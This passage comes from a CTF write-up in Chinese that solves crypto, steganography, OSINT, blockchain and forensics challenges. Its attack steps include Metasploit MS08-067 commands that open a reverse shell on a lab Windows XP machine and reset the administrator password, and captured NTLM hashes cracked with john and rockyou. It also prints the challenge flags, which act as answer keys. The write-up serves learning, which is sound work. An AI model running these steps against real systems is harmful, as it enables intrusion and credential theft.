for k in range(50):
next = []
for i in range(3):
out = (out*m+c)%n
card,suit = choose_card(out)
real_card = str(card+1).replace('10','0').replace('11','J').replace('12','Q').replace('13','K').replace('1','A')
next.append(f'{suit}_{real_card}'.encode())

next = b' '.join(next)
print(k,next)

r.recvuntil(b'(example: Heart_1 Club_2 Diamond_3)\n')
r.sendline(next)

print(r.recvall().decode())

# Congratulations! You matched the cards!
# The flag is your reward!
# b'SYC{lcg_a@@@@@ttack}'

EzComplex

And u, my friend: Complex factors! (In a double sense)

高斯整数分解。

1
2
3
4
5
6
7
8
9
10
11
12
13
c = 122977267154486898127643454001467185956864368276013342450998567212966113302012584153291519651365278888605594000436279106907163024162771486315220072170917153855370362692990814276908399943293854077912175867886513964032241638851526276
N = 973990451943921675425625260267293227445098713194663380695161260771362036776671793195525239267004528550439258233703798932349677698127549891815995206853756301593324349871567926792912475619794804691721625860861059975526781239293017498
GI = GaussianIntegers()
d = divisors(GI(N))
for k in d:
if 'I' in str(k):
p = int(abs(k.imag()))
q = int(abs(k.real()))
if p.bit_length() in range(382,385) and is_prime(p) and q.bit_length() in range(382,385) and is_prime(q):
print((p,q))

# (8732781022306464325787401448517171026218291389436971731700810979177651389459896422549428444142746055523338740248707, 29962125885196559918101088622575501736433575381042696980660846307183241725227137854663856022170515177120773072848343)
# (29962125885196559918101088622575501736433575381042696980660846307183241725227137854663856022170515177120773072848343, 8732781022306464325787401448517171026218291389436971731700810979177651389459896422549428444142746055523338740248707)

再常规RSA:

1
2
3
4
5
6
7
8
9
p,q = (8732781022306464325787401448517171026218291389436971731700810979177651389459896422549428444142746055523338740248707, 29962125885196559918101088622575501736433575381042696980660846307183241725227137854663856022170515177120773072848343)
e = 0x10001
c = 122977267154486898127643454001467185956864368276013342450998567212966113302012584153291519651365278888605594000436279106907163024162771486315220072170917153855370362692990814276908399943293854077912175867886513964032241638851526276
f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,p*q)
print(bytes.fromhex(hex(m)[2:]))

# b'SYC{D0_you_like_r41n?_i_pref3r_R1_ng}'

ext^7gcd

题目链接:nc 59.110.20.54:1789 (下sagemath! 不下的统统发配到安东星当嘿奴!)

分析:

1
2
3
4
a1*p1+a2*p2=1
a3*p3+a4*p4=1
a5*p5+a6*p6=1
a0*p0+a*(a1*p1+a2*p2+a3*p3+a4*p4+a5*p5+a6*p6)=a0*p0+a*3=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce

r = remote("59.110.20.54",1789)

table = string.ascii_letters+string.digits
def PoW():
r.recvuntil(b"XXXX+")
suffix = r.recv(16).decode("utf8")
r.recvuntil(b"== ")
cipher = r.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
r.sendlineafter(b'XXXX: ', proof.encode())

PoW()

def xgcd(a,b):
prevx, x = 1, 0; prevy, y = 0, 1
while b:
q, r = divmod(a,b)
x, prevx = prevx - q*x, x
y, prevy = prevy - q*y, y
a, b = b, r
return a, prevx, prevy

for i in range(15):
r.recvuntil(b'[')
p = eval(b'['+r.recvuntil(b']'))
_,a1,a2 = xgcd(p[1],p[2])
_,a3,a4 = xgcd(p[3],p[4])
_,a5,a6 = xgcd(p[5],p[6])
_,a0,a = xgcd(p[0],3)
r.recvuntil(b'a6: ')
r.sendline(f'{a0},{a*a1},{a*a2},{a*a3},{a*a4},{a*a5},{a*a6}'.encode())
print(r.recvline())

r.interactive()

# Congrats! Your flag is: SYC{N0t_s0_e4sy_3xtgCd}

Algebra

Recently jrl888 has learned something about groebner_basis.But could U plz help him to sovle his linear algebra homework?

矩阵 1*32 * 32*16 = 1*16,构造格规约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p = 76231309481023608274751321361920497941621991893430257210800219032855778863403
M = [...]
c = [...]

M = matrix(ZZ, 32,16, M)
I = identity_matrix(32)
P = p * identity_matrix(16)
C = matrix(ZZ, c)
Z1 = zero_matrix(16,32)
Z2 = zero_matrix(1,32)
L = block_matrix(ZZ,[[M,I],[P,Z1],[C,Z2]])
B = L.LLL()
key = list(-B[1][16:])
print(key)

# [241, 234, 29, 209, 141, 236, 196, 125, 153, 121, 243, 104, 157, 250, 164, 197, 241, 85, 184, 247, 145, 27, 128, 184, 203, 233, 104, 196, 118, 255, 12, 24]

再根据

1
2
3
4
5
x1^e0%p=c0
x2^e1%p=c1
x3^e2%p=c2
x1+x2+x3=s
GB基解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
key = [241, 234, 29, 209, 141, 236, 196, 125, 153, 121, 243, 104, 157, 250, 164, 197, 241, 85, 184, 247, 145, 27, 128, 184, 203, 233, 104, 196, 118, 255, 12, 24]
key = int(bytes(key).hex(),16)
print(key)
c = [5415723658972576382153559473862560277755192970021711034483296770242757614573901416501357332661976379693731699836578087114136761491831672836130172409491889, 210713951733721296094981135225517096332793112439184310028590576805069783972692891743044656754643189870169698041576462365740899368554671164493356650858567594970345928936103914826926922045852943068526737627918609421198466329605091625, 93558120697660628972553751937347865465963385519812302371069578286123647411810258547153399045605149278436900736665388355004346922404097196048139360206875149390218160164739477798859206611473675859708579299466581718543909912951088772842957187413726251892347470983848602814387339449340072310561011153714207338630]
p = 175336555462486363373099551411803174933803940918372428249159666803182759268063415863987676455854054651631174131625763475189413468427467197699058719725221879406119373683175842618465694427132003565774900609456204965408254598477034791500576573579131820364396996254469692964946065509325801687720344376041097328929
s = 192597139210277682598060185912821582569043452465684540030278464832244948354365

P.<i> = PolynomialRing(ZZ)
f = i^3 - 10*i^2 + 31*i - 30
res = f.roots()
e = [k[0] for k in res]

P.<x1,x2,x3> = PolynomialRing(Zmod(p))
f1 = x1^e[2]-c[0]
f2 = x2^e[1]-c[1]
f3 = x3^e[0]-c[2]
f4 = x1+x2+x3-s
G = Ideal([f1, f2, f3, f4]).groebner_basis()
print(G)
m = ''
for b in G:
assert b.degree() == 1
mi = ZZ(-b(0, 0, 0))
print(bytes.fromhex(hex(mi^^key)[2:]))

# b'SYC{You_are_SYC{You_are_SYC{You_'
# b'really_algebreally_algebreally_a'
# b'ra_master}\x02\x02ra_master}\x02\x02ra_maste'

flag:SYC{You_are_really_algebra_master}

MISC

cheekin

请前往”三叶草小组Syclover”微信公众号输入flag获得flag

发送flag,下载图片,zsteg的b1,rgb,lsb,xy通道有 syc{s4y_he110_t0_syclover}

ez_smilemo

游戏通关即可得到flag内容,需要自行添加SYC{}包含。例: flag内容为 haha_haha 则最终flag为 SYC{haha_haha} 题目链接:https://pan.baidu.com/s/1Vfklz0_isBoHNylRv8um8w?pwd=geek hint: data.win

使用UndertaleModTool工具解包data.win,在string窗口找到:c20xbGVfMXNfQF9uMWNlX2dAbWU=,base64解码:sm1le_1s_@_n1ce_g@me

flag:SYC{sm1le_1s_@_n1ce_g@me}

DEATH_N0TE

“o2takuXX突然失踪了,你作为他的好朋友,决定去他的房间看看是否留下了什么线索…”。前置剧情题,flag有两段,隐写的信息有点多记得给信息拿全。 hint1: Stegsolve lsb hint2: 图片大小和像素点

png图片末尾提取出:

IuS9oOaJvuWIsOS6huS4gOacrOOAikRFQVRIIE5PVEXjgIvvvIzlpb3lpYflv4PpqbHkvb/kvaDnv7vlvIDov5nmnKznrJTorrDvvIzkvaDpmIXor7vkuobkvb/nlKjop4TliJnvvIzkvYbmmK/kvaDmg4rorrblnLDlj5HnjrDliJrmiY3nmoTop4TliJnkuYvkuK3llK/ni6zmsqHmnInnrKwxMOadoS4uLiIKIuS9oOWGjeasoeWOu+ehruiupOaYr+WQpuWmguatpO+8jOeslOiusOS4iueahOaWh+Wtl+WNtOS7v+S9m+a0u+S6hui1t+adpe+8jOWcqOS9oOecvOS4reS4jeaWreWcsOaUvuWkp+e8qeWwj++8jOS9oOmXreS4iuS6huWPjOecvC4uLiIKIuWOn+acrOm7keiJsueahOaWh+Wtl+S4gOi9rOWPmOaIkOihgOe6ouiJsu+8jOivoeW8gueahOeUu+mdoui/mOaYr+WHuueOsOS6juS9oOeahOinhue9keiGnOWJje+8jOS9oOWGs+WumuS4jeWGjee6oOe7k+S6jumBl+WkseeahOinhOWIme+8jOW5u+iniea2iOWkseS6hi4uLiI=

base64解码:

"你找到了一本《DEATH NOTE》,好奇心驱使你翻开这本笔记,你阅读了使用规则,但是你惊讶地发现刚才的规则之中唯独没有第10条..." "你再次去确认是否如此,笔记上的文字却仿佛活了起来,在你眼中不断地放大缩小,你闭上了双眼..." "原本黑色的文字一转变成血红色,诡异的画面还是出现于你的视网膜前,你决定不再纠结于遗失的规则,幻觉消失了..."

没什么用,zsteg 在 b1,rgb,lsb,xy 通道提取出:

IuS9oOe7p+e7reinguWvn+aJi+S4iua8hum7keiJsueahOeslOiusOacrO+8jOWGt+mdmeS4i+adpeeahOS9oOWPkeeOsOS6huiXj+WcqOWwgemdouacgOS4i+i+ueeahOS4gOihjOWwj+WtlzpTWUN7RDRAVGhfTjB0NF8iCiLkvaDmtY/op4jov4fmlbTkuKrnrJTorrDmnKzvvIzlj6/mg5zlhajmmK/nqbrnmb3pobXvvIzlhbbkuK3mnInkuIDpobXkuI3nn6XpgZPooqvosIHmkpXmjonkuobvvIzkvaDmnIDnu4jov5jmmK/nv7vliLDkuobnvLrlpLHnmoTpgqPkuIDpobUiCiLkvaDnlKjpk4XnrJTmtoLmirnnnYDlkI7pnaLkuIDpobXvvIzkuIrpnaLnvJPnvJPlh7rnjrDkuobpgZflpLHnmoTnl5Xov7kuLi4i

base64解码:

"你继续观察手上漆黑色的笔记本,冷静下来的你发现了藏在封面最下边的一行小字:SYC{D4@Th_N0t4_" "你浏览过整个笔记本,可惜全是空白页,其中有一页不知道被谁撕掉了,你最终还是翻到了缺失的那一页" "你用铅笔涂抹着后面一页,上面缓缓出现了遗失的痕迹..."

得到flag前半段:SYC{D4@Th_N0t4_

放大图片,可发现白色像素点,结合题目查找为死亡笔记字体,字符串:TkFNRV9vMnRha3VYWH0

base64解码得到flag后半段:NAME_o2takuXX}

flag:SYC{D4@Th_N0t4_NAME_o2takuXX}

下一站是哪儿呢

我和yxx去旅游,前一天还好好的,玩完《指挥官基恩》这个游戏就睡觉了,第二天晚上吃完饭她人就不见了,走之前留下了两张图片就消失了。你能帮我找找她坐哪个航班去哪个地方了嘛? flag格式:SYC{航班号_城市拼音},城市拼音首字母大写噢

查询 有白色钢琴的机场,配合百度以图搜图功能,查找到地点为:深圳宝安国际机场

从1.jpg提取出zip压缩包,得到secret.png,为Standard Galactic Alphabet字体,利用在线网站解出信息为:I WANT TO GO TO LIQUOR CITY

LIQUOR CITY=酒城=泸州市,城市拼音:Luzhou

根据图片信息:时间8.25 20:19 马上起飞,在flightstats上查询深圳-泸州的航班号为:CZ8579

flag:SYC{CZ8579_Luzhou}

Qingwan心都要碎了

Qingwan和Yxx一起去旅游,但是Qingwan睡的太死啦,Yxx丢下她一个人去玩了,她一觉起来只看见Yxx发的朋友圈,能帮Qingwan找到她吗? flag格式:SYC{地点名字}

百度,以图搜图。

SYC{重庆中国三峡博物馆}

xqr

Qrcode can deliver binary msg

png分离得到两张png图片,按像素值异或操作即得到新二维码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from PIL import Image
img1 = Image.open('00000000.png')
img2 = Image.open('00000001.png')
print(img1.size)
print(img2.size)
width , height = img2.size
img = Image.new('RGB',(width , height))
for i in range(0,width):
for j in range(0,height):
x1 = 1 if img1.getpixel((3*i,3*j)) == (255, 255, 255, 255) else 0
x2 = 1 if img2.getpixel((i,j)) == (255, 255, 255) else 0
x = x1^x2
if x == 0:
img.putpixel((i,j),(255,255,255))
else:
img.putpixel((i,j),(0,0,0))
img.save('new.png')

flag:SYC{hOp3_u_h@ve_Fun}

DEATH_N1TE

“你看见了《DEATH NOTE》上面的名字,这时,Arahat0给你传了两个文件,并留言:” “[他拥有死神之眼,请小心,他在找你,还剩1920秒…]” “<当前时间 10:52>”。flag有两段

webp文件在线转gif,使用gifsplitter拆分为880张图片。

猜测宽高为4022,合并:`montage .bmp -tile 40x22 -geometry +0+0 ../out.png`

拼图:gaps --image=out.png --size=48 --save

得到文字:XzE0X0tpMTE0Un0==,base64解码得flag后半段:_14_Ki114R}

mp3文件提取SSTV信息:sstv -d L1.wav -o 1.png

得到的图片里的文字为flag前半段:SYC{H4xr0t0r

flag:SYC{H4xr0t0r_14_Ki114R}

窃听风云

Hacker捕获到了一段敌对公司的对话信息流量,你能从流量中分析出Jack的密码吗,flag为SYC{password}

NTLMSSP流量,利用提取工具 ntlmssp_extract 提取NTLM得:

jack::WIDGETLLC:2af71b5ca7246268:2d1d24572b15fe544043431c59965d30:0101000000000000040d962b02edd901e6994147d6a34af200000000020012005700490044004700450054004c004c004300010008004400430030003100040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0003002e0044004300300031002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0007000800040d962b02edd90106000400020000000800300030000000000000000000000000300000078cdc520910762267e40488b60032835c6a37604d1e9be3ecee58802fb5f9150a001000000000000000000000000000000000000900200048005400540050002f003100390032002e003100360038002e0030002e0031000000000000000000

保存为hash文件,再用john解:

john hash --wordlist=rockyou.txt

结果:iamjackspassword (jack)

flag:SYC{iamjackspassword}

extractMe

Try to extract me!

4字节CRC32爆破,利用CRC32 Tools分别爆破8段字符串:

python crc32.py reverse 0xXXXXXXXX

拼接得flag:SYC{_cR@ck_1s_Useful_sometime$_}

时代的眼泪

2001年的大屁股电脑,到了2023年会被揍得多惨呢? 链接: https://pan.baidu.com/s/1GuvryuThIMn_fzhstWaKBA?pwd=geek 提取码: geek

WinXP虚拟机,用VMWare加载但无登录密码。

参考:使用MSF 利用 ms08_067 对 XP 进行渗透

先对网段扫描IP:nmap -sC -sV 192.168.79.0/24

得到IP后,使用MSF攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 > search ms08_067
msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > show payloads
msf6 exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.79.132
RHOST => 192.168.79.132
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.79.128
LHOST => 192.168.79.128
msf6 exploit(windows/smb/ms08_067_netapi) > show options
msf6 exploit(windows/smb/ms08_067_netapi) > run

getshell之后,使用net命令修改administrator密码:

net user administrator 123456

进入系统,桌面背景图得flag:SYC{You_defeated_me_after_22_years}

SimpleConnect

Just so so 属于blockchain 题目链接:http://47.109.106.62:1234/

用Remix编译后,执行 airdrop() 函数,即满足 isSolved() 条件,

得到flag:SYC{kajd_u_iaak___hdskj_a}

give_me_Goerlieth

Great 属于blockchain 题目链接:http://47.109.106.62:1235/

转账即可。

DEATH_N2TE

“你知道了真相,正带上《DEATH NOTE》准备逃离,恰好,Muscial发给你一个视频,并说:” “[这里记下了他的真名以及照片,请写在那本笔记上面,我和Arahat0都被他看见了真名…]”。

mp4分帧:ffmpeg -i kira.mp4 %05d.png

提取每一帧的列,组合:

1
2
3
4
5
6
7
8
9
10
11
12
13
from PIL import Image

width,height = 192,108
img_new = Image.new('RGB',(width,height))

for start in range(10):
for i in range(width):
img = Image.open(f'x/{str(i+1).zfill(5)}.png')
for j in range(height):
tmp = img.getpixel((i*10+start,j*10+start))
img_new.putpixel((i,j),tmp)

img_new.save(f'x/out_with_start_{start}.png')

start=5的时候,得flag:SYC{we1c0m4_T0_De@tH_W0r1d}

窃听风云-V2

这次Hacker捕获到了Jack登录邮件系统的流量,你还能从流量中分析出Jack的密码吗,flag为SYC{password}

SMTP流量,wireshark 解析ntlmssp,按照

Extracting NTLM Hash Values from a Wireshark packet capture

构造出ntlmssp:

jack::WidgetLLC.Internal:3e3966c8cacd29f7:ddd46fd8f78c262eae16918f66185497:010100000000000050fd26d235edd9011219408ccb8a364800000000020012005700490044004700450054004c004c0043000100100043004c00490045004e00540030003300040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000300360043004c00490045004e005400300033002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000700080050fd26d235edd90106000400020000000800300030000000000000000000000000300000c78e803920758ec5672c36696ee163f6a4e61c8b5463c247daef8571677995a40a001000000000000000000000000000000000000900200053004d00540050002f0075006e007300700065006300690066006900650064000000000000000000

再用john爆破即可:john token.txt --wordlist=rockyou.txt

得到 jack100589barney (jack),flag:SYC{jack100589barney}